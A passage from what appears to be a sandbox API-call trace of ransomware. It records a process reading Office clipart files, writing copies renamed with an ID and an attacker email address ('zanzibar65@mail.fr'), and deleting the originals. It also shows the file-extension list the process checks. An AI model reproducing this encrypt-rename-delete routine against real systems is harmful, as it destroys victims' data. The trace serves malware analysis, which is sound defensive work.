(lpString=".jpg") returned 4 [0054.502] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0054.502] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.502] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0054.502] GetLastError () returned 0x0 [0054.502] ReadFile (in: hFile=0x220, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x12c8, lpOverlapped=0x0) returned 1 [0054.505] WriteFile (in: hFile=0x230, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x12d0, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x12d0, lpOverlapped=0x0) returned 1 [0054.506] ReadFile (in: hFile=0x220, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.506] WriteFile (in: hFile=0x230, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.506] SetEndOfFile (hFile=0x230) returned 1 [0054.506] CloseHandle (hObject=0x230) returned 1 [0054.506] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.506] SetEndOfFile (hFile=0x220) returned 1 [0054.507] CloseHandle (hObject=0x220) returned 1 [0054.507] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0054.508] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf")) returned 1 [0054.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0054.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0054.508] lstrlenW (lpString=".doc") returned 4 [0054.508] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0054.508] lstrlenW (lpString=".docx") returned 5 [0054.508] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0054.508] lstrlenW (lpString=".pdf") returned 4 [0054.508] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0054.508] lstrlenW (lpString=".xls") returned 4 [0054.508] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0054.508] lstrlenW (lpString=".xlsx") returned 5 [0054.508] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0054.508] lstrlenW (lpString=".ppt") returned 4 [0054.508] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0054.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0054.508] lstrlenW (lpString=".zip") returned 4 [0054.508] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0054.508] lstrlenW (lpString=".rar") returned 4 [0054.508] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0054.508] lstrlenW (lpString=".bz2") returned 4 [0054.508] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0054.509] lstrlenW (lpString=".7z") returned 3 [0054.509] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0054.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0054.509] lstrlenW (lpString=".dbf") returned 4 [0054.509] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0054.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0054.509] lstrlenW (lpString=".1cd") returned 4 [0054.509] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0054.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0054.509] lstrlenW (lpString=".jpg") returned 4 [0054.509] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0054.509] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.509] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0054.509] GetLastError () returned 0x0 [0054.509] ReadFile (in: hFile=0x220, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x1384, lpOverlapped=0x0) returned 1 [0054.512] WriteFile (in: hFile=0x230, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x1390, lpOverlapped=0x0) returned 1 [0054.513] ReadFile (in: hFile=0x220, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.513] WriteFile (in: hFile=0x230, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.514] SetEndOfFile (hFile=0x230) returned 1 [0054.514] CloseHandle (hObject=0x230) returned 1 [0054.514] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.514] SetEndOfFile (hFile=0x220) returned 1 [0054.515] CloseHandle (hObject=0x220) returned 1 [0054.515] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0054.515] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf")) returned 1 [0054.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0054.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0054.515] lstrlenW (lpString=".doc") returned 4 [0054.515] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0054.515] lstrlenW (lpString=".docx") returned 5 [0054.515] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0054.515] lstrlenW (lpString=".pdf") returned 4 [0054.515] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0054.515] lstrlenW (lpString=".xls") returned 4 [0054.515] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0054.515] lstrlenW (lpString=".xlsx") returned 5 [0054.515] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0054.515] lstrlenW (lpString=".ppt") returned 4 [0054.516] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0054.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0054.516] lstrlenW (lpString=".zip") returned 4 [0054.516] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0054.516] lstrlenW (lpString=".rar") returned 4 [0054.516] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0054.516] lstrlenW (lpString=".bz2") returned 4 [0054.516] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0054.516] lstrlenW (lpString=".7z") returned 3 [0054.516] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0054.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0054.516] lstrlenW (lpString=".dbf") returned 4 [0054.516] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0054.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0054.516] lstrlenW (lpString=".1cd") returned 4 [0054.516] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0054.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0054.516] lstrlenW (lpString=".jpg") returned 4 [0054.516] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0054.516] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.516] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0054.517] GetLastError () returned 0x0 [0054.517] ReadFile (in: hFile=0x220, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x138c, lpOverlapped=0x0) returned 1 [0054.518] WriteFile (in: hFile=0x230, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x1390, lpOverlapped=0x0) returned 1 [0054.519] ReadFile (in: hFile=0x220, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.519] WriteFile (in: hFile=0x230, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.519] SetEndOfFile (hFile=0x230) returned 1 [0054.519] CloseHandle (hObject=0x230) returned 1 [0054.519] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.520] SetEndOfFile (hFile=0x220) returned 1 [0054.520] CloseHandle (hObject=0x220) returned 1 [0054.520] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0054.521] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf")) returned 1 [0054.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0054.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0054.521] lstrlenW (lpString=".doc") returned 4 [0054.521] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0054.521] lstrlenW (lpString=".docx") returned 5 [0054.521] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0054.521] lstrlenW (lpString=".pdf") returned 4 [0054.521] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0054.521] lstrlenW (lpString=".xls") returned 4 [0054.521] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0054.521] lstrlenW (lpString=".xlsx") returned 5 [0054.521] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0054.521] lstrlenW (lpString=".ppt") returned 4 [0054.521] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0054.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0054.521] lstrlenW (lpString=".zip") returned 4 [0054.521] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0054.521] lstrlenW (lpString=".rar") returned 4 [0054.521] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0054.521] lstrlenW (lpString=".bz2") returned 4 [0054.521] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0054.521] lstrlenW (lpString=".7z") returned 3 [0054.521] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0054.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0054.522] lstrlenW (lpString=".dbf") returned 4 [0054.522] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0054.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0054.522] lstrlenW (lpString=".1cd") returned 4 [0054.522] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0054.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0054.522] lstrlenW (lpString=".jpg") returned 4 [0054.522] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0054.522] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.523] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0054.523] GetLastError () returned 0x0 [0054.523] ReadFile (in: hFile=0x220, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x1306, lpOverlapped=0x0) returned 1 [0054.525] WriteFile (in: hFile=0x230, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x1310, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x1310, lpOverlapped=0x0) returned 1 [0054.525] ReadFile (in: hFile=0x220, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.526] WriteFile (in: hFile=0x230, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.526] SetEndOfFile (hFile=0x230) returned 1 [0054.526] CloseHandle (hObject=0x230) returned 1 [0054.526] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.526] SetEndOfFile (hFile=0x220) returned 1 [0054.527] CloseHandle (hObject=0x220) returned 1 [0054.527] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0054.527] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf")) returned 1 [0054.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0054.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0054.527] lstrlenW (lpString=".doc") returned 4 [0054.527] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0054.527] lstrlenW (lpString=".docx") returned 5 [0054.527] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0054.527] lstrlenW (lpString=".pdf") returned 4 [0054.527] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0054.527] lstrlenW (lpString=".xls") returned 4 [0054.528] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0054.528] lstrlenW (lpString=".xlsx") returned 5 [0054.528] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0054.528] lstrlenW (lpString=".ppt") returned 4 [0054.528] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0054.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0054.528] lstrlenW (lpString=".zip") returned 4 [0054.528] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0054.528] lstrlenW (lpString=".rar") returned 4 [0054.528] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0054.528] lstrlenW (lpString=".bz2") returned 4 [0054.528] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0054.528] lstrlenW (lpString=".7z") returned 3 [0054.528] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0054.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0054.528] lstrlenW (lpString=".dbf") returned 4 [0054.528] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0054.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0054.528] lstrlenW (lpString=".1cd") returned 4 [0054.528] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0054.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0054.528] lstrlenW (lpString=".jpg") returned 4 [0054.528] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0054.528] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.529] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0054.529] GetLastError () returned 0x0 [0054.529] ReadFile (in: hFile=0x220, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x6906, lpOverlapped=0x0) returned 1 [0054.629] WriteFile (in: hFile=0x230, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x6910, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x6910, lpOverlapped=0x0) returned 1 [0054.631] ReadFile (in: hFile=0x220, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.631] WriteFile (in: hFile=0x230, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.631] SetEndOfFile (hFile=0x230) returned 1 [0054.734] CloseHandle (hObject=0x230) returned 1 [0054.734] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.734] SetEndOfFile (hFile=0x220) returned 1 [0054.735] CloseHandle (hObject=0x220) returned 1 [0054.735] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0054.735] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf")) returned 1 [0055.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0055.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0055.207] lstrlenW (lpString=".doc") returned 4 [0055.207] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.207] lstrlenW (lpString=".docx") returned 5 [0055.207] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.207] lstrlenW (lpString=".pdf") returned 4 [0055.207] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.207] lstrlenW (lpString=".xls") returned 4 [0055.207] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.207] lstrlenW (lpString=".xlsx") returned 5 [0055.207] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.207] lstrlenW (lpString=".ppt") returned 4 [0055.207] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0055.208] lstrlenW (lpString=".zip") returned 4 [0055.208] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.208] lstrlenW (lpString=".rar") returned 4 [0055.208] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.208] lstrlenW (lpString=".bz2") returned 4 [0055.208] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.208] lstrlenW (lpString=".7z") returned 3 [0055.208] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0055.208] lstrlenW (lpString=".dbf") returned 4 [0055.208] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0055.208] lstrlenW (lpString=".1cd") returned 4 [0055.208] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0055.208] lstrlenW (lpString=".jpg") returned 4 [0055.208] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.208] SetFilePointerEx (in: hFile=0x25c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.208] SetFilePointerEx (in: hFile=0x25c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x260 [0055.209] GetLastError () returned 0x0 [0055.209] ReadFile (in: hFile=0x25c, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x2b32, lpOverlapped=0x0) returned 1 [0055.210] WriteFile (in: hFile=0x260, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x2b40, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x2b40, lpOverlapped=0x0) returned 1 [0055.212] ReadFile (in: hFile=0x25c, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.212] WriteFile (in: hFile=0x260, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.212] SetEndOfFile (hFile=0x260) returned 1 [0055.212] CloseHandle (hObject=0x260) returned 1 [0055.212] SetFilePointerEx (in: hFile=0x25c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.212] SetEndOfFile (hFile=0x25c) returned 1 [0055.213] CloseHandle (hObject=0x25c) returned 1 [0055.213] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 